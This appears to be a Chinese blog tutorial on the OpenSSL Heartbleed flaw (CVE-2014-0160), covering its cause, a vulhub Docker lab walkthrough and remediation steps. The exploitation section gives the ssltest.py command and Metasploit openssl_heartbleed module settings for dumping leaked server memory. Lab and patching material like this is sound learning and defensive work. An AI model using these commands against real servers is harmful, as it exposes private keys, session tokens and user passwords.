一.漏洞概述
CVE-2014-0160 即 “心脏滴血”(Heartbleed)漏洞,是 OpenSSL 加密程序库中的严重安全漏洞。OpenSSL 广泛用于实现互联网传输层安全(TLS)协议,保障网络通信安全。该漏洞于 2012 年被引入软件,2014 年 4 月首次公开披露 。只要使用存在缺陷的 OpenSSL 实例(服务器或客户端 ),都可能遭受攻击。利用此漏洞,攻击者无需认证,就能远程读取存在漏洞版本的 OpenSSL 服务器内存中多达 64K 的数据,可能获取加密密钥、会话令牌、用户密码等敏感信息,危害极大。
二.漏洞原理
漏洞源于 OpenSSL 实现 TLS 心跳扩展时缺乏对输入的适当验证(缺少边界检查 )。TLS 心跳机制用于维持客户端和服务器间的连接状态,流程为:客户端向服务器发送心跳请求包,服务器收到后读取包内容(包含包类型、数据长度等信息 ),并返回包含请求包内容的响应包。
在存在漏洞的 OpenSSL 版本(主要是 1.0.1 到 1.0.1f 版本 )中,当服务器处理心跳请求时,未正确验证心跳请求包的实际长度,而是直接使用请求包中声明的长度。若攻击者构造特殊心跳请求包,使声明长度与实际长度不同,就会触发漏洞。比如,攻击者让声明长度大于实际长度,服务器在处理时,执行 memcpy 函数复制数据,会将超出心跳包实际数据的内存区域数据也复制出来,导致服务器内存中约 64KB 的数据泄露,攻击者可借此获取敏感信息 。
三.漏洞利用
首先我们打开我们下载好的vulhub
没有下载好的vulhub以及docker 可以去看我的上一篇文章
2025年最新搭建vulhub靶场并且在kail安装docker启动以及相关指令-CSDN博客
cd到这个目录下
cd vulhub-master/openssl/CVE-2014-0160
然后我们输入
docker-compose up -d
开始搭建环境
然后我们输入
查看所有容器
docker ps -a
首先我们先来看打开的端口
http://192.168.111.3:8443/
http://192.168.111.3:8080/
我们可以利用官方给出的exp
python3 ssltest.py localhost -p 8443
我们也可以使用msf
首先我们输入
msfconsole
然后我们搜索
search heartbleed
然后我们使用
use auxiliary/scanner/ssl/openssl_heartbleed
然后我们设置目标主机地址
set rhosts 192.168.111.3
set rport 8443
我们可以先来设置8080端口 来测试一下
最后设置一下verbose,让verbose为true这样我们才可以看到泄露的64kb数据
set verbose true
四.影响版本
CVE-2014-0160(Heartbleed)漏洞主要影响以下 OpenSSL 版本:
- 1.0.1 系列:1.0.1、1.0.1a、1.0.1b、1.0.1c、1.0.1d、1.0.1e、1.0.1f
- 其他版本:OpenSSL 1.0.0 系列(部分发行版可能因补丁差异受影响)
注意:
- 1.0.1g 及以上版本已修复此漏洞。
- 部分 Linux 发行版(如 Ubuntu、Debian)可能通过 backport 补丁修复了旧版本。
五.修复建议
1. 立即升级 OpenSSL
- 升级到安全版本:bash
# 通用升级命令(根据系统包管理工具调整)
sudo apt update && sudo apt install openssl # Debian/Ubuntu
sudo yum update openssl # CentOS/RHEL
- 验证版本:bash
openssl version -a
# 预期输出:OpenSSL 1.0.1g 或更高
2. 重新生成密钥和证书
- 漏洞可能导致私钥泄露,需重新生成并替换所有受影响的证书和密钥:bash
# 生成新私钥(2048位或更高)
openssl genrsa -out new_key.pem 4096
# 生成 CSR(证书签名请求)
openssl req -new -key new_key.pem -out new_csr.csr
# 向 CA 重新申请证书
3. 禁用 TLS 心跳扩展(临时措施)
- 若无法立即升级,可通过配置禁用心跳功能(可能影响部分依赖心跳的应用):bash
# 在 Nginx 配置中添加
ssl_heartbeats off;
4. 更新依赖 OpenSSL 的服务
- 确保所有使用 OpenSSL 的服务(如 Apache、Nginx、SSH、邮件服务器)同步升级并重启。
5. 使用安全工具检测
- 使用官方提供的检测脚本验证漏洞是否存在:bash
wget https://raw.githubusercontent.com/square/heartbleed/master/heartbleed-test.py
python heartbleed-test.py example.com:443
6. 监控和日志审计
- 检查服务器日志,排查异常访问行为,特别是漏洞披露后(2014 年 4 月后)的可疑流量。
注意事项
- 云服务用户:联系云提供商确认其基础架构是否已修复。
- 第三方软件:检查依赖的开源库(如 curl、wget)是否更新。
- 密钥轮换:对所有受影响系统的密钥、证书、会话令牌进行全面轮换。